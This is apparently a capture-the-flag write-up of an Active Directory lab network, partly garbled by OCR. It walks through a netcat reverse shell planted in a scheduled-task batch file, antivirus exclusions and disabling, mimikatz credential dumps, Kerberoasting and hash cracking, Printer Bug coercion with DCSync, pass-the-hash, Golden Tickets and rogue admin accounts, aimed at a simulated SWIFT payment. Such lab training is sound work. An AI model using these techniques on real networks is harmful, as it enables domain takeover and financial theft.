Figure 34 - Login on WRK1 through Remote Desktop

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen
platform:

e Flag 1, Breaching the Perimeter
e Flag 2, Breaching Active Directory
[ ]

e Flag4, Access to SWIFT application



6. Initial Compromise of Active Directory

Network state:

WEB SWIF
10.200.118.13 c 10.20808.11

Figure 35 - Perimeter Breached

Since we have both machines available, we might just choose one to advance inside the network. As
soon as we login in the WRK2 machine, we start by looking into the user profile and what might be
available to escalate privileges inside the machine. We notice that there is a netcat executable inside the
Downloads folder:

somewhere: tions] hos
or inbound: -1 -p port [options] [hos

ach from console, back

on 50

Figure 36 - Netcat executable inside the Downloads folder

If we manage to find some service or application that is running in the machine with administrator or
system privileges, we might be able to execute netcat with administrative privileges, gaining an elevated
administrative shell.



One quick way of escalating privileges inside a machine is through a misconfigured scheduled task,
especially when it is using a binary or batch file that we can modify.

By using the command schtasks /query /fo csv /v [ findstr “SYSTEM > tasks.csv”,we are able to forward a
list of several tasks, to a CSV file, that run with administrative privileges (the /fo csv will print the text in a
CSV format).

Based on the output, most of the tasks run from the Windows directory, which normally means that
those tasks are well configured. A quick search into the CSV reveals that a certain task runs from the
following file (C:\SYNC\sync.bat):

Figure 37 - FULLSYNC task that runs from C:\SYNC\sync.bat
We can also query for the taskname, in order to get more information regarding the schedule task:

C:%\Users\laura.wood»schta

Folder: %\
MName :
ame :

Run Time:

inist
sync.bat

N/A
: Enabled
Idle Time: Disabled
Power Man: ki On Battery Mode, Mo Star

k If Mot Re
. ITf Runs X Hours and

® Hour(s), 5 Minute(s)
MNone

Until: Duration: Disabled

Stop If Still Running: Disabled

Figure 38 - FULLSYNC scheduled task runs every 5 minutes

We can check the permissions of the file with the command icacls C:\SYNC\sync.bat and are able to
confirm that our user has (F) Full Access to the file:



BUTLTI
NT AUTH

BUTLTI
BUTLTIN

Successtully processed 1 files; Failed processing @ file

Figure 39 - Full access on the sync.bat file

With this information, we know that we can set up a listener with the previously found netcat
executable, and edit the task to connect with the same executable with administrative privileges,

receiving an elevated reverse shell:

aura.wood\Downloads>.\nc.exe -lwnp 4444
[any] 4444

Figure 40 - Setup a listener on port 444

_| sync - Notepad = O

File Edit Format View Help
|c:‘\User‘s\laur*a.wood\Downloads\nc.exe -g cmd.exe 127.8.6.1 4444
copy C:\Windows\Temp ‘\\s3.corp.thereserve.loc\backupsh

Windows (CRLF  Ln 1, Col 1 100%

Figure 41 - Editing the sync.bat file

And after a couple of minutes (5 at most) we should receive our administrative reverse shell. However,
we can just execute the task with the following command schtasks /run /tn FULLSYNC, forcing a reverse

shell:



C:\Users\laura.wood>cd Downloads

©.6.1] from (UNK
[Version 18.8.:

C:\Windows\syste
whoami

nt authority

C:\Windows\systen

Figure 42 - Reverse shell with administrative privileges

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen
platform:

o Flag 4, Administrati . Division Tier 2 Inf



6.1.Domain Escalation

We are now local administrators of the machine, but in order to be able to fully compromise the Active
Directory, we need a Domain Administrator account.

Since the Windows Defender is enabled in the machine, we need to be able to whitelist our malicious
applications. In order to maintain the difficulty to other potential players in the network, let’s add an
exclusion folder instead of disabling the Windows Defender, with the following command:

t-MpPreference ®xclusion C-Y, rsylaura.wood\Downloadsh®

erence -ExclusionPath "C:\ s\, Lwoody\Downloadsh*"

Figure 43 - Command to create an exclusion on the Downloads folder

Also, in a real engagement, it might raise a lot more flags if we disabled an Antivirus instead of just
adding an exclusion folder.

After defining the exclusion folder, we can copy a couple of tools to start doing some Active Directory
Enumeration and Exploitation. We start by running mimikatz and dumping hashes, secrets and Isass. We
manage to get the Password for the Adrian account, but it doesn’t appear to be useful.

After that, we manage to run SharpHound and retrieve information to map the Active Directory in
Bloodhound. In order to exfiltrate the information from the machine, we created a share folder pointing
to the Downloads directory, by issuing the following command:

lootg * ) _ rshlaura.wood\Downloads
Figure 44 - Creating a new share folder to exfiltrate information
Finally, we can access the folder through smbclient and retrieve data from our tools:

smbclient \\\\10.200.118.22\\1oot$ -U laura.woodgcorp.thereserve.loc
Password for [laura.woodgcorp.thereserve.loc]:

Try "help" to get a list of possible commands.
smb: \>

Figure 45 - Share enabled

After loading the data in the Bloodhound database, we can perform some queries in order to find the
best attack path available. Let’s start by checking Kerberoastable accounts:



A K Y

Analysis

Find Principals with DCSync Rights
Users with Foreign Domain Group Membership SVCOCTOBER@CORPTHERESERVE.LOC
Groups with Foreign Domain Group Membership
Find Computers where Domain Users are Local Atmin
SVCEDR@CORP.THERESERVE.LOC

Find Computers where Domain Users can read LAPS passwords
Find All Paths from Domain Users to High Value Targets

g B SVCSCANNING@CORP.THERESERVE.LOC
Find Workstations where Domain Users can RDP
Find Servers where Domain Users can RDP

Find Dangerous Privileges for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

Find Kerberoastable Members of High Value Groups e

List all Kerberoastable ts} KRBTGT@CORP.THERESERVE.LOC 9

Find Kerberoastable Users with most privileges SVCBACKUPS@CORPTHERESERVE.LOC

Find AS-REP Roastable Users (DontReqPreAuth)

” =)

SVCMONITOR@CORP.THERESERVE.LOC

Figure 46 - All Kerberoastable accounts

A Kerberoasting attack is an attack that attempts to obtain a password hash of an Active Directory
account that has a Service Principal Name, or SPN. This attack requires an authenticated domain user to
request a Kerberos service ticket from a Ticket Granting Service (TGS). That ticket is encrypted with the
hash of the service account, which we can try to brute force using hashcat, after capturing the TGS ticket.

The main advantage of this attack is that we do not require a privileged user to require a TGS, since any
Domain user account can be used to request service tickets from the TGS.

As we can see, we have 5 potential kerberoastable accounts, which we will try to get the corresponding
hashes and brute force them. Using Rubeus, we manage to easily capture the 5 corresponding hashes of
the SPN accounts:

Target Domain : corp.thereserve.loc
Searching path 'LDAP: //CORPDC.corp. thereserve.loc/DC=corp,DC=thereserve,DC=loc’ for *(&(samAccountType=805306368)(servicePrincipalName=+)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"

Total kerberoastable users : 5

SamAccountName : sveScanning

DistinguishedNane : CN=svcScanning,0U=Services,DC=corp, DC=thereserve,DC=loc

ServicePrincipalName cifs/scvScannil

PudLastSet 2/15/2023 9:07:06 AM

Supported ETypes * RCA_HMAC_DEFAULT

Hash : $krbStgs$23$+svcscanningscorp. thereserve. loc$ci fs/scvScanningacorp. thereserve.lo
Cx$BB2B3ACSE65915606C788FE7CB3DCB20$6B8955544427EQ3CE10924583307 FDB15D7BI42B2A39
3E9E773282C8652C8A56D415C803F30D8352573644BI4734966456A02CDEQ463427689DF79358828
B3A5506FB7023507E6AQSCAQ660D64790E4BESF23656C87 96CBI522FCO246E514634050B588DFO09
A7FAS507CC89B293951EE046F86CBDEADERSC7DO1DES75D7 C87E4 FIBIFID4313ABACAAI 53DBD7DTDL
SEE226F0ADBOB366EAF EAD24C81CC6 FDODO4AEFSEEF735A5813858FOCEB1A3E28BBBOE FO607CEB15
9284604 CEF062408A81D97F99C30C6 E46ALEAD9787A7ELAEFFOBICCLAESCLCAEDBICE6CIEAIOFTS
E08771E9343DD8FFBFBB7B301B4027ASBBDC3C273 C8FBS5520BE3365ACO5DC6DA313ESDEGAF4OFCAE
61BE1005AC1798B44FC82A020E9CAI EGASAEL38501C7CESBO771B416D00EDEBA 1FAE650A237F2035
DD49DF1E8BACABAG4304250903E79BBSOE115A69C709BCCB278BODED741171DE96527838CF539EEB
00D3A9BBBBBCSB5094BFCDACCOB F4A6SCID51BB0493053 EIBEI22A12C891067 9BACBBIACS1CFBOE
9270EC64CSBEBFEQ527ABCCDB4SEDB52DDD8D337454CC5 52EE136261978E2BDFDDG4A1011B82E9C
17AC510373816809B177CIC2B8ACB2E7C41FDBO38GAGF 51 EEQCIBIGELSBEAETBAZGCFBA45427C796
901ED119A15C1DIAAEFOADCO1688122829D2901F000AALB210FEG6F21F820F7749D6DOIF41D158B0
C306F75D4110A87EC1ACOC8265CD46 FCDBBOEDBAL66F6CI518F5E 7CB439A62F38B34DFCF4OCI0BSS
8F10FOCOFABICLCFF7ADBG3CB62F7630D1B4 1EF3EBEFF30822F93B2DD06615B26F025A5FB4F09683
A009622683C5600BAVA627BFA08271B179E85A556BC8017CC75F60C5360ALDSF 2606EF4DA1287728
A4C917550E46FBCBBSF3E3DISOEACEC2D7DB69D2DBEICFAECIOALCCS36385E0F 21D10B1CID6LCFBS
B1EBC77EFEC60D57AD4 31D88E879B7872B480CCDBBB115AB24AD4 7D37CBC1469705210F5777A3C6E
3324B1AAFA7A466F73810416633DA74ESC1DF60F35FFO46CBBECOISA4SAAZ92AE222D7CF18379DF
BBB7BBFFEFE7714A5C7 3FF1234C10DCF7B7SBFF6B29BADOCC2SEEEBAY1098D58274CSDASETF1475F
E58576D9BE7E7A4A9B14273D715BF904D343 153E6E498A99EG45303FBD73BFID7CIECIEACIOIOCES
50780030D9AEE62404A150F48B52C2B47ECOB44OBACCLEF 3EB7EBL45DCD27FF6DOB7 7F3055DIFE
C6500859A7F3F00047B9EDF1D9ICAFACOF 4A2DBCOOBEBS4BCCIB3413711F16C248E5067A2D4910D9
C3C54CB1C6EEIB3272288FD1533D55C041B0C311AEFO4AAD304BA794A55027CCTFALB3LDCCALT 746
240B77COFFCSDFE62E7C25062676036BDIES FFO92D84F1017CF5FBBI9EBI52CECABBODOBI2C6BEC2
D181AC2CC435ADF4823A20D58414FAAS7B32 FOBE1DB3FF8BCCR193C88A1220CD40EC29FAF1BBDF23
54FOFOCDFFRA26A2CE7ABORY32FAG7A4ODD3070ABESDI2DOEABBG 5967 CoABIG6COEBLDIFD108861D
0CBC3358C7D7B8976D620FEB6DAD6553127225537B42A84C44B21E119D5FAAITAE3GBOAET61A2230
BE73CFF6F40AF0521093572D4270C3289D14F67D20

Figure 47 — Using Rubeus to perform Kerberoast



After capturing the hashes, we use hashcat to crack the hashes and after a while, we manage to get the
svcScanning password:

-a @ -m 1310@ spn.txt fusr/share/wordlists/rockyou.txt --sho
$k1b5tqs$23$*suc5cann1ng$c01p thereserve.loc$cifs/scvScanninggcorp. thereserve.locx$bb283ac5e65915606c788fe7c83dc820%6b
8955544427e03cel09245833071d815d7b942b2a393e0e773282c8652c8a56d415c803F30d8352573644b94734966456a02cde0463427689dF7935
8828b3a5506Tb7023507e6a05ca0660d64790e4b6523656c8796c89522fc0246e514634050b588df000a7fa507cc89b293951eed46T86chbdeaded
5c7de1de575d7c87e4f3b3fod4313abacaagds3dbd7d7d15ee226f0a0bob366eafead24c8lcc6fdodosaef5eef735a5813858f9cebla3e28bbboefo
697ceb159284694cef062408a81d97f99c39cbestbalead19787aTesaeffBblcct4eSchcaedblc66c2ealdf75e08771e9343dd8ff8fbb7b301b4927
a5bbdc3c273c8fb5520be3365ac95dcbda3llesSdebafs9fcae6lbel1095ac1798b44TcB2a920e9calebabae438591c7cedb9771bs16d00edbbslf4e
650a23712035dd49df1e88ac4bab4304259903e79bb50e115a69c709bcchb278b0ded741171de96527838cf539eeb0@d3adb8bbbc5b5094bfcddccd
8774a65c3d51b80493053e98e322a12c89106798acbb3ac51cf80e9270ecb4c5he8fed527a8ccdb45edb52d5dd8d337454cc552ee13b261978e2bd
fdd64a1011b82e9c17ac510373816809b177c9c2b8acB82e7c41fd80386a6f51eedc3896e15beteTba26cfB8al5427c796901ed119a15c1d1aaefdad
c91688122829d29011000aalb210fe66T21f820F7749d6d09f41d158b0c306T75d4110a87eclac0c8265cd46Tcd060eddas466T6c3518f5e7ch439a
62138b34dfcf40c10b558f10f9c9fa89c4cff7adbb3ch62f7630d1bs1ef3ebeff39822f93b2dde6615b26f025a5Fbsf@9683a009622683c5600ban
a627bfa08271b179e85a556bc8017cc75769c5369a4d5F2606ef4dal28772baktc917550e46fbcb88f3e3d959e4cec2d7db69d2dBelcfaeci@aktccs
36385e9721d10b1c9d64cfb5bleBc77efec60d57ad431d88e879b7872b480ccdbb8115ab24ad47d37cbec1469705210F5777a3cbe3324blaata7akt
6773810416633da74e5c1df60f35f fo46chBec095a45aa292a9e222d7cf18379dfbbb7b&f fefe7714a5¢c73ff1234c10dcf7b75bf f6b298addcc25e
eeba01098d58274c5dabe7f1475Te58576d9be7e7a4a9814273d715bf904d343153e6e498a99e645303Fbd73bf9d7clec9eacd030c8559780930d9
aee62404a150748b52c2b47ecObsst06acct8f3e87e8445dcd27T8f6d09b773055d1fec6590859a7f3f00947b96df1d99cafacof4a2doc90b6b548
cc9b3413711F16c248e5967a2d491dd9c3cS54ch1cbeedh3272288fd1533d55¢c041b0c311aef04aal394ba794a55927cc7fatb34decas7746240b77
cOffc5dfe62e7c25c62676036bd9e5fF992d8411017cf5fbbS9eb152c8caB00d0bl2cbbBc2d181ac2cct35adf4823a29d58414Taa87b32f08e1d83
ff88ccb193c88al1229cd4Pec29faflbbdf2354f0f9cdffRa26a2ce7a800932fa67a49dd3070abe5d92d0ea8b65967c6a8966c6ebstddfd108861dac
bc3358c7d7b8976d620fe86d4d6553127225537b42a84c44b21e119d5faad7ae3680ae761a2230be73cff640af0521093572d4270c3289d1467d

20: I

Figure 48 - Password of user svcScanning cracked

With this account, we can now login into SERVER1 and SERVER2 and by checking the user groups, we can
see that it is part of Local Administration groups:

) - f serverl.corp.ther .o y 4

Recycle Bin

EN Administrator: Windows PowerShell

Attributes

Well-known group 5-1-1-8 ianda Eroup,

fault, Enabled group
group,
group,

group,

group,

group

Figure 49 - User svcScanning groups

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen
platform:

e Flag5, Foothold on Corporate Division Tier 1 Infrastructure
e Flag 6, Administrative access to Corporate Division Tier 1 Infrastructure



7. Full Compromise of CORP Domain

Network state:

Figure 50 - Network Map after Serverl and Server2 compromises

As we want to accelerate things regarding Domain compromise, we start by disabling the Antivirus
altogether, using the following command Set-MpPreference -DisableRealtimeMonitoring Strue and
upload a couple of known tools.

We start by enumerating Active Directory users, groups and computers. During this process, it is
identified that the SERVER1 and CORPDC machines have the flag TRUSTED_FOR_DELEGATION enabled:

» Get-DomainComputer CorpDC operatin T 2 Mame, samaccountname, useraccountcontrol

operating = dns thMame, samaccountname, useraccountcontro

samaccountnam

Name, DNSHostMName, SamAccountName

Figure 52 - Using the Unconstrained option with Get-NetComputer from PowerView



Kerberos delegation allows a user or a computer to impersonate another account in order to access
resources and can have several practical applications. Lucky for us, several attacks can be made when
unconstrained delegation is configured.

For a computer to authenticate on behalf of other services, it needs the flag TRUSTED FOR_DELEGATION
enabled. When this configuration is enabled, and the server receives a TGS, a copy of the user’s TGT is
also placed in memory of the server. This allows us to retrieve the TGT from the LSASS and impersonate
the user without limitation.

To exploit this misconfiguration, we would need to get a way to social engineer a Domain Admin to
authenticate against a service on Serverl, or to force the CORPDC server to authenticate against it.

There is a known “Printer Bug” that allows any domain member of “Authenticated Users” to force any
machine running the Spooler service to authenticate to a target via NTLM or Kerberos. This attack was
previously reported to Microsoft, which indicated that this might be fixed in a future version of
Windows. By using a well-known Proof of Concept executable called SpoolSample (can be found at
https://github.com/leechristensen/SpoolSample), we will be able to coerce the CORPDC to authenticate
against Serverl, putting the Machine Account TGT in memory, allowing us to dcsync and dump the
Administrator NTLM hash in order to compromise the CORPDC machine.

So, after deploying the executable in our Downloads folder, we set up a monitoring with Rubeus, in order
to capture the TGT, and force the CORPDC to authenticate against Serverl:

er anning s el ex orpdc.corp.ther .loc serverl.corp.there
erted DLL to
ing RDI
[+] Calling
Ta 5

on probably w

forwardable

FrdCalLhh
Go BT

Figure 53 - Coerce the CORPDC to authenticate to Serverl

As soon as the Ticket Granting Ticket (TGT) is captured, Rubeus will warn that a new TGT was found. The
ticket is usually in base64, which means that in order to import it to mimikatz, we’ll need to convert it to
a .kirbi file. We can do it with the following code:

[10.File]::WriteAllBytes("\path\to\ticket\ticket kirbi", [Convert]::FromBaseb45tring|"Basebd ticket"))


https://github.com/leechristensen/SpoolSample

After executing the following code, a corpdc.kirbi file will be saved in the chosen directory:

veScanning'y
Figure 54 - Write ticket to be imported in mimikatz
After this, we just need to load the ticket in mimikatz, using kerberos::ptt:

mo
DELPY ~

(B4g,21p) Primary
Primary
* Thread Token

mimikatz # kerbe ptt corpde.kirbi

* File: "corpdc.kirbi’:
Figure 55 - Import ticket into mimikatz

Finally, we can use Isadump::dcsync to dump the Administrator NTLM hash:

or@corp.tk
1ain
.loc' will be the
) r account
G55_NEGOTIATE (9)

Administrator

Supplemental Credential
* Prim NTLM-5trong-N
Random Value

Figure 56 - Dumping the NTLM hash of the Administrator to use with Pass-The-Hash



Now we can just spawn a shell using pass-the-hash, with the Administrator account:

e.loc /ntlm:d3d4edcc@lss

rc4_hmac:n1d
rcd_md4d
rcd_hmac_nt

Figure 57 - Using Pass-The-Hash to invoke a shell with the Administrator

We can check that we do have permissions on the CORPDC server, by checking the CS share:

s-Launch.zip

install.psil

Figure 58 - Make sure that we have access to CORPDC




We can also run a command prompt in the server, using Psexec:

10.0.1

ration.

Figure 59 - PsExec to execute cmd as Administrator@CORPDC

If we need to RDP to the server using pass-the-hash with the default client, we are able to do it if the
server allows Restricted Admin login. However, it appears that in CORPDC it is not enabled, so we need
to activate it through the registry, by modifying the key “HKLM:\System\CurrentControlSet\Control\Lsa”

through PowerShell:

MNew-ltemProperty -Path "HELM:\System\CurrentControlSet\Control\Lsa" -Name
"DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

Name "Disab

dAdmin : @
: Micr ft.Powershell.Co K CAL_MACHIN ) \CurrentControlSet

ntControlSet

: Microsoft.PowerShell.Co

ft.PowerShell.Core'\Re

Figure 60 - Enable restricted admin with PowerShell

After that, with Pass-The-Hash, we should be able to run the RDP client with Administrator privileges:



ictedadmin

%3 Remote Desktop Connection

| Remote Desktop
"¢ Connection

Computer. |curpdc.curp.thsresewe.\uc|

Username: SERVER1$@com thereserve loc

Your Windows logon credentials will be used to connect

¥ Show Options Help

Figure 61 - Invoke Remote Desktop using Pass-The-Hash as a restricted admin

And login successfully on CORPDC as Administrator and a Domain Admin:

EN Administrator: Windows PowerShell

mi /groups

Acc
Compatible Acce

TE INTERACTIVE L

group

group

roup Policy Cre
nabled group
i R

group

group S

group

group

group

group

group,

group,

group,

group,
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group,

group,
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group,

group,

group,

group,

Figure 62 - Logged in successfully in CORPDC as Administrator

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen

platform:

Flag 7, Foothold on Corporate Division Tier 0 Infrastructure






8. Full Compromise of Parent Domain

Network state:

Figure 63 - Network Map after CORPDC compromise

Looking into our Network topology, we can see that we have a Forest composed of two domain trees
(CORP and BANK) and a Parent Domain (ROOT). Starting with some enumeration, we can see that we
have a bidirectional trust between CORP and ROOT:

obalCatalogs =
ApplicaticonPartitio - = i nes,DC=thereserve,DC=
mainDns? ,DC=bank,DC=thereserve,DC=1loc}

SourceNams
TargetMName

Figure 64 - List of Domain Trust information

In these situations, we might take advantage of the same Print Bug to coerce the ROOTDC to
authenticate against CORPDC. However, there is an easier way of taking advantage of this Domain Trust if
we have Domain Admin rights in the child Domain (which we do).



KRBTGT is the account used for Microsoft’s implementation of Kerberos. Its name is derived from
Kerberos (KRB) and Ticket Granting Ticket (TGT) and acts as the service account for the Kerberos
Distribution Center (KDC) service, which handles all Kerberos ticket requests.

The KRBTGT is responsible for the encryption of all Kerberos tickets in the domain and its password is
shared across all domain controllers, so that they can verify the authenticity of the received TGT when a
resource access is requested.

A Golden Ticket attack is a way of creating a forged TGT with a stolen KDC key, which enables us to gain
access to any service on the domain, essentially becoming our own Ticket Granting Server (TGS).

In order to perform a Golden Ticket attack, we will need the following information:

The Full Qualified Domain Name (FQDN) of the Domain
The Security Identified (SID) of the Domain

The username of the account that we want to impersonate
The KRBTGT password hash

This allows us to forge Golden Tickets and access any resource in the CORP domain. However, we need to
be able to forge an Inter-Realm TGT in order to become Enterprise Admins (EA) and access any resource
in the ROOT domain. We need to exploit the trust between the parent domain and the child domain by
adding the SID of the Enterprise Admins (EA) group as an extra SID to our forged ticket, allowing us to
have Administrative privileges over the entire forest.

So, we also need the following information in order to craft our Golden Ticket:

® The SID of the child Domain Controller (CORPDC)
® The SID of the Enterprise Admins (EA) from the parent domain (ROOTDC)

Getting the Security Identifiers is easy, with the PowerView module. So, let’s start by disabling the
Antivirus and importing the PowerView module:

Figure 65 - Disabling AV and importing PowerView

And get the SIDs needed, from the Enterprise Admins group and the child Domain Controller:

rootdc.thereserve.loc

Figure 66 - Enterprise Admins SID



Get-ADComputer

CN

D
UserPrincipalName

Figure 67 - Child Domain Controller (CORPDC) SID

Now, we need to dump the KRBTGT NTLM hash with mimikatz, through DCSYNC:

mimikat

[DC] - !

[DC] - E 111l be the DC er
will be the wu: account

Account expiration
change

Figure 68 - Dump of the krbtgt NTLM hash

And now, with all the required information, we can create our own Golden Ticket, which will be injected
in the current session:



H
ede - rcd_hmac_nt

1:

* KrbCred

Golden ticket for 'krbtgt @ corp.thereserve.loc' succ

Figure 69 - Creating a Golden Ticket

We can now verify that the ticket works, by validating the access to ROOTDC through network path:

up-dc.psl

Figure 70 - Testing the access to the ROOTDC

We can also issue a command prompt in the ROOTDC through PSEXEC:

dc.ther loc cmd.

Figure 71 - PowerShell session in ROOTDC



Now, in order to maintain persistence, and allowing us to login without creating tickets, we can create a
new user and add it to Enterprise Admins group, using the following PowerShell code:

ywid = ConvertTo-SecureString <password> -AsPlainText -Force
Mew-ADUser -Name <user> -AccountPassword Spwd -Passwordneverexpires Strue -Enabled Strue
= Get-ADUser -ldentity <user> -Server "corpdc.corp.thereserve.loc”
1 = Get-ADGroup -ldentity "Enterprise Admins" -Server "rootdc.thereserve.loc”

Add-ADGroupMember -Identity SGroup -Members -Server "rootdc.thereserve.loc”

DistinguishedName :
Enabled

amAccounthame

ID

urname
rincipalName :

Figure 72 - Adding a new user as an Enterprise Admin

With our new created user, we can just login in the ROOTDC as an Enterprise Admin:



orporation. All rights r

ne Well-k group 5-1-1-@ Mi roup, Enabled by de
ult, Enab
TINY

nown grou|

-known group S

L
fault, Enab
THERESERVEY I i -21-1255581842-1

roup, Enabled by de

Internet Explorer

Figure 73 - Logged in in the ROOTDC as EA

Using the same code, we can also create a user at CORPDC as a Domain Admin, allowing us to login with
both accounts in different domains:

e Thereserve\<user> (Enterprise Admin)
e Corp.thereserve.loc\<user> (Domain Admin)
vil = ConvertTo-SecureString <password= -AsPlainText -Force
Mew-ADUser -Name <user> -AccountPassword Spwd -Passwordneverexpires Strue -Enabled Strue
= Get-ADUser -ldentity <user> -Server "corpdc.bank.thereserve.loc"
= Get-ADGroup -ldentity "Domain Admins" -Server "corpdc.bank.thereserve loc"

Add-ADGroupMember -ldentity -Members -Server "corpdc.bank.thereserve.loc”

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen
platform:

o Flag 15, Foothold on Parent Domain
e Flag 16, Administrative access to Parent Domain



9. Full Compromise of BANK Domain

Network state:

Figure 74 — Network Map after full compromise of the ROOTDC

Now that we are Enterprise Admins, the compromise of the other child domain should be easy. We can
start by connecting through RDP into the BANKDC from ROOTDC, with our newly created user:



rootdc.thereserve.loc : bankdc.bank.thereserve.loc

Recycle Bin

[

EC2 Feedback

Internet Explorer

Figure 75 - Remote Desktop at BANKDC

Now, we can repeat the process of creating a user in the BANK domain, as a Domain Admin, using the
previous code:

= ConvertTo-SecureString <password= -AsPlainText -Force
New-ADUser -Name <user> -AccountPassword -Passwordneverexpires Strue -Enabled Strue
= Get-ADUser -ldentity <user> -Server "bankdc.bank.thereserve.loc”
= Get-ADGroup -ldentity "Domain Admins" -Server "bankdc.bank.thereserve.loc"

Add-ADGroupMember -Identity -Members -Server "bankdc.bank.thereserve.loc"

So let’s create the new user:



Di
Enabled

ADGroup

DC=bank,DC=the sDC=loc

Figure 76 - Creating user at BANK Forest



With our BANK account, we can access all the resources as a Domain Admin, as we can see below:

QIR
Home  shere  view -0

« “ 4 . > Network > workl.bankthereserveoc > <S5 > v @ | Search<s »

Name Date modified Type Size

v 3k Quick access

2] 72018 6:56 AM  File folder
[ Desktop * g
Perflogs 53PM  File folder
&) Documents Program Files 0223:58PM  File folder
& Downloads Program Files (x36) File folder
Pictures » Users File folder
sgrant Windows File folder
variables ¥ EC2-Windows-Launch Compressed (zipp...
4 install Windows Powers... 13KB
5 This C & thm-network-setup 3/17/2023913AM  Windows Powers.. 1KB
> ¥ Network
9items

Figure 77 - Access at WORK1 machine

Using the network path is easier for authentication and accessing the file system:

BIRHE~Is .
Home Share View (]

« © AL s Network » work2.bankthereserveloc > ¢ » v\ @ | Searchcs P
Name Date modified Type Size
# Quick access
EFl 1141472018 File folder
I Desktop »
PerfLogs File folder
DocomenERRS Progiam Files 032358PM  File folder
& Downloads  # Program Files (x86) 7PM  File folder
Pictures » Users 219/2023 851 AM  File folder
vagrant Windows File folder
variables ¥ EC2-Windows-Launch Compressed (zipp...
|4 install Windows Powers..
B This PC |4 thm-network-setup Windows Powers...
£ Network
9items

Figure 78 - Access at WORK2 machine



I

Home
= « 3
s Quick access
[ Desktop
5| Documents
4 Downloads
&) Pictures
vagrant

variables
3 This PC

¥ Network

Gitemns

Share

bankdc.bank thereserve.loc

View

> Network > jmp.bankthereserveloc > c§ »

Name Date modified Type
EFI File folder
Perflogs File folder
Program Files Filefolder
Program Files (x26) Filefolder
Users Filefolder
Windows File folder

| EC2-Windows-Launch
&4 install

| thm-network-setup

Compressed (#ipp...
Windows Powers...

Windows Powers...

= x
;]
v|® | Searchcs »
Size
3,089 KB
13 KB
1 KB

Figure 79 - Access at JMP machine

In this case, it is possible to create all the files needed to obtain the flags from the e-citizen system, and a

Domain Admin.

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen

platform:

e Flag9, Foothold on Bank Division Tier 2 Infrastructure

e Flag 10, Administrative access to Bank Division Tier 2 Infrastructure

e Flag 11, Foothold on Bank Division Tier 1 Infrastructure

Flag 12, Administrative access to Bank Division Tier 1 Infrastructure

[ ]
e Flag 13, Foothold on Bank Division Tier 0 Infrastructure

e Flag 14, Administrative access to Bank Division Tier 0 Infrastructure




10. Compromise of SWIFT and Payment Transfer

Network state:

Figure 80 - Network Map as Full Enterprise Admin

Now that we are in control of the Full Domain as Enterprise and Domain admin, we need to compromise
the SWIFT and perform a payment transfer. Remember that we manage to identify the Swift Bank
application in the beginning of the challenge, and we might access it at http://swift.bank.thereserve.loc.

We start by enumerating the users with the Capturer and Approver Role in the Bank Domain (we can just
use the Active Directory Users and Computers snap-in):
E ;;e Action View Help

e pE 0 XEEE Ha P asTah

] Active Directory Users and Com || Name Type Description

Recycle Bin

| Saved Queries
v Y bankthereserveloc

B Payment Approvers Security Group...
%Payment Capturers  Security Group...

3 Ad
s 'IT”“ BB SWIFT Suppart  Security Group...
| Builtin . k
3 Computers %TlerDAdmms Security Group..
5 Domain Controllers Tier 1 Admins Security Group...
~ B Employess R Tier 2 Admins Security Group...
2| Back-Office
&l t x Payment Approvers Properties
= N
“| Forei General Members MemberOf Managed By General Members Member Of Managed By
2 Grou
Wiy Members: Members
| Man|
I Serve Name Active Directory Domain Services Folder Name Active Directory Domain Services Folder
| Users !) abarker bank thereserve loc/Employees/Front-Office 5 aholt bank thereserve loc/Employees/Back-Office
2| Work ’) cyoung bank thereserve loc/Employees./Front-Cffice {, atumer bank thereserve loc/Employees/Back-Office
:J- g.watson bank thereserve loc/Employees,/Front-Office !J rdavies bank thereserve loc/Employees/Back-COffice
_‘) s harding bank thereserve loc/Employees./Front-Cffice ‘_, skemp bank thereserve loc/Employees/Back-Office
_3) t.buckley bank thereserve loc/Employees/Front-Cffice

Remove

Cancel Appl

Cancel

Figure 81 - BANK Approvers and Capturers


http://swift.bank.thereserve.loc

Since we probably might need to access their workstations, we can try to crack some of the users NTLM
hashes, by dumping them with mimikatz with DCSYNC:

-BANK.

11 be the user account
ldap

NEGOTIATE (9)

1 c.young

JECT )
ACCOUNT DONT_EXPIRE_|

bdcd5841c96ddbd82224278b57F11Fc

ddbd 11Fc

Random Value

Figure 82 - Dump NTLM hashes of Capturers

We can confirm that we are able to crack the NTLM hash of the c.young user, using hashcat (the rest
might not be possible with rockyou.txt or our pre-generated list):

a @ -m 1000 fbdcd5041c96ddbd82224270b57f11fc /usr/share/wordlists/rockyou.txt --

fbdcdsﬁﬁ1CQGddbd822242?6b5?f11fc Password!

Figure 83 - Password of c.young cracked

Next, using the network path, we can find the user profile of c.young in the WORK2 machine:

4| = | Users — O X
Home Share View e
&« v » Network » work2.bankthereserveloc » ¢S » Users » v 0 Search Users 2

i Marne Date modified Type Size
3 Quick access
cyoung 2/19/2023 8:50 AM  File folder
B Deskto
e Public File folder
[ Mok s s.harding File folder
4 Downloads THMSetup File folder
&=| Pictures
Systermn32
O This PC
M 3D Objects

Figure 84 - c.young profile in WORK2 machine



Likewise, it appears that the Capturers use the JMP machine to perform their operations:

= | Users

|

Share

View

« =2 ~ 4t » MNetwork » jmp.bankthereserveloc » 5 » Users » v Search Users
Il Deskiop -+ Mame - Date modified Type Size
Documents  # a.holt 2/19/2023 9:05 AM  File folder
¥ Downloads ¢ aturner 2/19/2023 918 AM  File folder
[&] Pictures - Administrator 5/21/2023 4:28 PM File folder

Systemn32 davetaylor 5/20/2023 6:15 PM File folder
Public 12/12/2018 7:45 AM  File folder
& This PC THMSetup 9/7/2022 4:55 PM File folder
_J 3D Objects
Il Desktop
Documents
‘ Downloads
J’ﬁ Music
[&] Pictures

B videos
s Local Disk (C:)

Figure 85 - JIMP machine user profiles

Interesting enough, while checking the folders content, we can find a note for the approver:

| ift bankdc.bank.theress o *
Home Share View v @
« v » Network » jmp.bankthereserveloc > c§ > Users » aholt > Documents > Swift v O Search Swift P
Name Date modified Type Size

& Quick access
swift 2/19/2023 3:08 AM  Text Document 1KB

[ Desktop *

| D t: =

